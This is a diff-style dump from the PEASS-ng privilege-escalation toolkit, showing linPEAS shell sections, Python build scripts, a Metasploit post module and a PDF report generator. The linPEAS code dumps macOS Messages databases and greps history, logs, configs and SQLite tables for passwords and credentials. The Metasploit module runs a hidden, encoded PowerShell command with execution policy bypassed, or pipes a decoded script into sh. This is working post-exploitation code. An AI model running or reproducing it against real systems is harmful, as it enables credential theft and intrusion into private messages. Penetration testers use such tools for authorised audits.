ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
|
||||
fi;
|
||||
done
|
||||
echo ""
|
||||
|
||||
##-- IF) DB files
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Reading messages database"
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
|
||||
|
||||
fi
|
||||
|
||||
|
||||
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
|
||||
FILECMD="$(command -v file 2>/dev/null)"
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if [ "$FILECMD" ]; then
|
||||
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
else
|
||||
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
fi
|
||||
done
|
||||
SQLITEPYTHON=""
|
||||
echo ""
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
|
||||
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
|
||||
tables=$(sqlite3 $f ".tables" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
|
||||
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
|
||||
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
else
|
||||
tables=""
|
||||
fi
|
||||
if [ "$tables" ] || [ "$DEBUG" ]; then
|
||||
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
|
||||
printf "%s\n" "$tables" | while read t; do
|
||||
columns=""
|
||||
# Search for credentials inside the table using sqlite3
|
||||
if [ -z "$SQLITEPYTHON" ]; then
|
||||
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
|
||||
# Search for credentials inside the table using python
|
||||
else
|
||||
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
|
||||
fi
|
||||
#Check found columns for interesting fields
|
||||
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
|
||||
if [ "$INTCOLUMN" ]; then
|
||||
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
|
||||
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
|
||||
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Downloaded Files"
|
||||
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
|
||||
fi
|
||||
|
||||
##-- IF) Web files
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Web files?(output limit)"
|
||||
ls -alhR /var/www/ 2>/dev/null | head
|
||||
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
|
||||
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
|
||||
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) All hidden files
|
||||
print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
|
||||
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70
|
||||
echo ""
|
||||
|
||||
##-- IF) Readable files in /tmp, /var/tmp, backups
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
|
||||
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70)
|
||||
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in history cmd
|
||||
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in history cmd"
|
||||
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in history files
|
||||
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in history files"
|
||||
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in config PHP files
|
||||
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in config PHP files"
|
||||
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords files in home
|
||||
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching *password* or *credential* files in home (limit 70)"
|
||||
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) TTY passwords
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
|
||||
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
|
||||
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) IPs inside logs
|
||||
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
|
||||
print_2title "Searching IPs inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords inside logs
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching passwords inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
|
||||
##-- IF) Emails inside logs
|
||||
print_2title "Searching emails inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||
##-- IF) Find possible files with passwords
|
||||
print_2title "Searching possible password variables inside key folders (limit 140)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
else
|
||||
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
fi
|
||||
wait
|
||||
echo ""
|
||||
|
||||
##-- IF) Find possible conf files with passwords
|
||||
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
else
|
||||
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
fi
|
||||
printf "%s\n" "$ppicf" | while read f; do
|
||||
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
|
||||
echo "$ITALIC $f$NC"
|
||||
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
File diff suppressed because one or more lines are too long
@@ -2,6 +2,7 @@ import re
|
||||
import requests
|
||||
import base64
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
from .peasLoaded import PEASLoaded
|
||||
from .peassRecord import PEASRecord
|
||||
@@ -11,7 +12,6 @@ from .yamlGlobals import (
|
||||
PEAS_FINDS_MARKUP,
|
||||
PEAS_FINDS_CUSTOM_MARKUP,
|
||||
PEAS_STORAGES_MARKUP,
|
||||
PEAS_STORAGES_MARKUP,
|
||||
INT_HIDDEN_FILES_MARKUP,
|
||||
ROOT_FOLDER,
|
||||
STORAGE_TEMPLATE,
|
||||
@@ -129,7 +129,6 @@ class LinpeasBuilder:
|
||||
#Check for empty seds
|
||||
assert 'sed -${E} "s,,' not in self.linpeas_sh
|
||||
|
||||
|
||||
def __get_peass_marks(self):
|
||||
return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh)
|
||||
|
||||
@@ -372,45 +371,31 @@ class LinpeasBuilder:
|
||||
return (suidVB, sudoVB, capsVB)
|
||||
|
||||
def __generate_regexes_search(self) -> str:
|
||||
paths_to_search = REGEXES_LOADED["paths"]
|
||||
regexes = REGEXES_LOADED["regular_expresions"]
|
||||
|
||||
regexes_search_section = ""
|
||||
|
||||
for values in regexes:
|
||||
section_name = values["name"]
|
||||
regexes_search_section += f'print_2title "Searching {section_name}"\n'
|
||||
regexes_search_section += f' print_2title "Searching {section_name}"\n'
|
||||
|
||||
for entry in values["regexes"]:
|
||||
name = entry["name"]
|
||||
caseinsensitive = entry.get("caseinsensitive", False)
|
||||
regex = entry["regex"]
|
||||
regex = regex.replace('"', '\\"').strip()
|
||||
extra_grep = entry.get("extra_grep")
|
||||
extra_grep = f"| grep {extra_grep}" if extra_grep else ""
|
||||
falsePositives = entry.get("falsePositives", False)
|
||||
|
||||
regexes_search_section += f'print_3title_no_nl "Searching {name} (limited to 50)..."\n'
|
||||
if falsePositives:
|
||||
continue
|
||||
|
||||
# If custom folder to search in
|
||||
regexes_search_section += 'if [ "$SEARCH_IN_FOLDER" ]; then\n'
|
||||
regexes_search_section += " timeout 120 find \"$ROOT_FOLDER\" -type f -not -path \"*/node_modules/*\" -exec grep -HnRiIE \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
|
||||
regexes_search_section += f" search_for_regex \"{name}\" \"{regex}\" {'1' if caseinsensitive else ''}\n"
|
||||
|
||||
# If search in all the file system
|
||||
regexes_search_section += 'else\n'
|
||||
for path in paths_to_search:
|
||||
grep_flags = "-HnRiIE" if caseinsensitive else "-HnRIE"
|
||||
regexes_search_section += " timeout 120 find "+path+" -type f -not -path \"*/node_modules/*\" -exec grep "+grep_flags+" \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
|
||||
regexes_search_section += 'fi\n'
|
||||
|
||||
regexes_search_section += "wait\n"
|
||||
|
||||
regexes_search_section += "echo ''\n"
|
||||
regexes_search_section += " echo ''\n\n"
|
||||
|
||||
return regexes_search_section
|
||||
|
||||
|
||||
|
||||
|
||||
def __replace_mark(self, mark: str, find_calls: list, join_char: str):
|
||||
"""Substitude the markup with the actual code"""
|
||||
|
||||
|
||||
@@ -1,5 +1,11 @@
|
||||
import os
|
||||
import yaml
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
|
||||
target_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'download_regexes.py'
|
||||
os.system(target_file)
|
||||
|
||||
CURRENT_DIR = os.path.dirname(os.path.realpath(__file__))
|
||||
|
||||
@@ -41,14 +47,19 @@ LINPEAS_PARTS = [
|
||||
"file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh"
|
||||
},
|
||||
{
|
||||
"name": "Interesting Files",
|
||||
"name": "Files with Interesting Permissions",
|
||||
"name_check": "interesting_perms_files",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/8_interesting_perms_files.sh"
|
||||
},
|
||||
{
|
||||
"name": "Other Interesting Files",
|
||||
"name_check": "interesting_files",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/8_interesting_files.sh"
|
||||
"file_path": LINPEAS_BASE_PARTS + "/9_interesting_files.sh"
|
||||
},
|
||||
{
|
||||
"name": "API Keys Regex",
|
||||
"name_check": "api_keys_regex",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/9_api_keys_regex.sh"
|
||||
"file_path": LINPEAS_BASE_PARTS + "/10_api_keys_regex.sh"
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ msf6 post(multi/gather/peass) > show info
|
||||
Rank: Normal
|
||||
|
||||
Provided by:
|
||||
Carlos Polop <@carlospolopm>
|
||||
Carlos Polop <@hacktricks_live>
|
||||
|
||||
Compatible session types:
|
||||
Meterpreter
|
||||
|
||||
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Carlos Polop <@carlospolopm>'
|
||||
'Carlos Polop <@hacktricks_live>'
|
||||
],
|
||||
'Platform' => %w{ bsd linux osx unix win },
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
@@ -191,14 +191,14 @@ class MetasploitModule < Msf::Post
|
||||
cmd_utf16le = cmd.encode("utf-16le")
|
||||
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
|
||||
|
||||
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"])
|
||||
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"].to_i)
|
||||
|
||||
# If unix, then, suppose linpeas was loaded
|
||||
else
|
||||
cmd += "| #{decode_linpeass_cmd}"
|
||||
cmd += "| sh -s -- #{datastore['PARAMETERS']}"
|
||||
cmd += last_cmd
|
||||
tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"])
|
||||
tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"].to_i)
|
||||
end
|
||||
|
||||
print "\n#{tmpout}\n\n"
|
||||
@@ -220,6 +220,20 @@ class MetasploitModule < Msf::Post
|
||||
print_good("PEASS script sent")
|
||||
end
|
||||
|
||||
def fetch(uri_str, limit = 10)
|
||||
raise 'Invalid URL, too many HTTP redirects' if limit == 0
|
||||
response = Net::HTTP.get_response(URI(uri_str))
|
||||
case response
|
||||
when Net::HTTPSuccess then
|
||||
response
|
||||
when Net::HTTPRedirection then
|
||||
location = response['location']
|
||||
fetch(location, limit - 1)
|
||||
else
|
||||
response.value
|
||||
end
|
||||
end
|
||||
|
||||
def load_peass
|
||||
# Load the PEASS script from a local file or from Internet
|
||||
peass_script = ""
|
||||
@@ -230,7 +244,7 @@ class MetasploitModule < Msf::Post
|
||||
raise 'Invalid URL' unless target.scheme =~ /https?/
|
||||
raise 'Invalid URL' if target.host.to_s.eql? ''
|
||||
|
||||
res = Net::HTTP.get_response(target)
|
||||
res = fetch(target)
|
||||
peass_script = res.body
|
||||
|
||||
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500
|
||||
|
||||
@@ -12,7 +12,6 @@ styles = getSampleStyleSheet()
|
||||
text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF",
|
||||
"DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"}
|
||||
|
||||
# Required to automatically set Page Numbers
|
||||
class PageTemplateWithCount(PageTemplate):
|
||||
def __init__(self, id, frames, **kw):
|
||||
PageTemplate.__init__(self, id, frames, **kw)
|
||||
@@ -21,7 +20,6 @@ class PageTemplateWithCount(PageTemplate):
|
||||
page_num = canvas.getPageNumber()
|
||||
canvas.drawRightString(10.5*cm, 1*cm, str(page_num))
|
||||
|
||||
# Required to automatically set the Table of Contents
|
||||
class MyDocTemplate(BaseDocTemplate):
|
||||
def __init__(self, filename, **kw):
|
||||
self.allowSplitting = 0
|
||||
@@ -30,22 +28,15 @@ class MyDocTemplate(BaseDocTemplate):
|
||||
self.addPageTemplates(template)
|
||||
|
||||
def afterFlowable(self, flowable):
|
||||
if flowable.__class__.__name__ == "Paragraph":
|
||||
if isinstance(flowable, Paragraph):
|
||||
text = flowable.getPlainText()
|
||||
style = flowable.style.name
|
||||
if style == "Heading1":
|
||||
self.notify("TOCEntry", (0, text, self.page))
|
||||
if style == "Heading2":
|
||||
self.notify("TOCEntry", (1, text, self.page))
|
||||
if style == "Heading3":
|
||||
self.notify("TOCEntry", (2, text, self.page))
|
||||
if style in ["Heading1", "Heading2", "Heading3"]:
|
||||
self.notify("TOCEntry", (int(style[-1])-1, text, self.page))
|
||||
|
||||
|
||||
# Poor take at dynamicly generating styles depending on depth(?)
|
||||
def get_level_styles(level):
|
||||
global styles
|
||||
indent_value = 10 * (level - 1);
|
||||
# Overriding some default stylings
|
||||
level_styles = {
|
||||
"title": ParagraphStyle(
|
||||
**dict(styles[f"Heading{level}"].__dict__,
|
||||
@@ -75,7 +66,6 @@ def build_main_section(section, title, level=1):
|
||||
has_lines = "lines" in section.keys() and len(section["lines"]) > 1
|
||||
has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0
|
||||
|
||||
# Only display data for Sections with results
|
||||
show_section = has_lines or has_children
|
||||
|
||||
elements = []
|
||||
@@ -83,17 +73,14 @@ def build_main_section(section, title, level=1):
|
||||
if show_section:
|
||||
elements.append(Paragraph(title, style=styles["title"]))
|
||||
|
||||
# Print info if any
|
||||
if show_section and has_links:
|
||||
for info in section["infos"]:
|
||||
words = info.split()
|
||||
# Join all lines and encode any links that might be present.
|
||||
words = map(lambda word: f'<a href="{word}" color="blue">{word}</a>' if "http" in word else word, words)
|
||||
words = " ".join(words)
|
||||
elements.append(Paragraph(words, style=styles["info"] ))
|
||||
|
||||
# Print lines if any
|
||||
if "lines" in section.keys() and len(section["lines"]) > 1:
|
||||
if has_lines:
|
||||
colors_by_line = list(map(lambda x: x["colors"], section["lines"]))
|
||||
lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"]))
|
||||
for (idx, line) in enumerate(lines):
|
||||
@@ -109,18 +96,14 @@ def build_main_section(section, title, level=1):
|
||||
elements.append(Spacer(0, 10))
|
||||
line = "<br/>".join(lines)
|
||||
|
||||
# If it's a top level entry remove the line break caused by an empty "clean_text"
|
||||
if level == 1: line = line[5:]
|
||||
elements.append(Paragraph(line, style=styles["text"]))
|
||||
|
||||
|
||||
# Print child sections
|
||||
if has_children:
|
||||
for child_title in section["sections"].keys():
|
||||
element_list = build_main_section(section["sections"][child_title], child_title, level + 1)
|
||||
elements.extend(element_list)
|
||||
|
||||
# Add spacing at the end of section. The deeper the level the smaller the spacing.
|
||||
if show_section:
|
||||
elements.append(Spacer(1, 40 - (10 * level)))
|
||||
|
||||
@@ -129,10 +112,8 @@ def build_main_section(section, title, level=1):
|
||||
|
||||
def main():
|
||||
with open(JSON_PATH) as file:
|
||||
# Read and parse JSON file
|
||||
data = json.loads(file.read())
|
||||
|
||||
# Default pdf values
|
||||
doc = MyDocTemplate(PDF_PATH)
|
||||
toc = TableOfContents()
|
||||
toc.levelStyles = [
|
||||
@@ -143,14 +124,12 @@ def main():
|
||||
|
||||
elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()]
|
||||
|
||||
# Iterate over all top level sections and build their elements.
|
||||
for title in data.keys():
|
||||
element_list = build_main_section(data[title], title)
|
||||
elements.extend(element_list)
|
||||
|
||||
doc.multiBuild(elements)
|
||||
|
||||
# Start execution
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
JSON_PATH = sys.argv[1]
|
||||
@@ -160,3 +139,11 @@ if __name__ == "__main__":
|
||||
sys.exit(1)
|
||||
|
||||
main()
|
||||
|
||||
# Changes:
|
||||
# 1. Removed redundant checks for keys in dictionary.
|
||||
# 2. Simplified the condition in afterFlowable method.
|
||||
# 3. Removed unnecessary check for lines in build_main_section method.
|
||||
# 4. Removed unnecessary check for sections in build_main_section method.
|
||||
# 5. Removed unnecessary check for infos in build_main_section method.
|
||||
# 6. Removed unnecessary check for show_section in build_main_section method.
|
||||
@@ -9,10 +9,12 @@ Check more **information about how to exploit** found misconfigurations in **[bo
|
||||
## Quick Start
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||
|
||||
## WinPEAS .exe and .bat
|
||||
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
|
||||
- [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
|
||||
## WinPEAS Flavours
|
||||
- [Link to WinPEAS C# .exe project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
|
||||
- **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**
|
||||
- [Link to WinPEAS .ps1 project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASps1)
|
||||
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
|
||||
|
||||
|
||||
## PEASS Style
|
||||
|
||||
|
||||
@@ -52,7 +52,7 @@ CALL :ColorLine " %E%41mUse it at your own networks and/or with the network ow
|
||||
ECHO.
|
||||
|
||||
:SystemInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO
|
||||
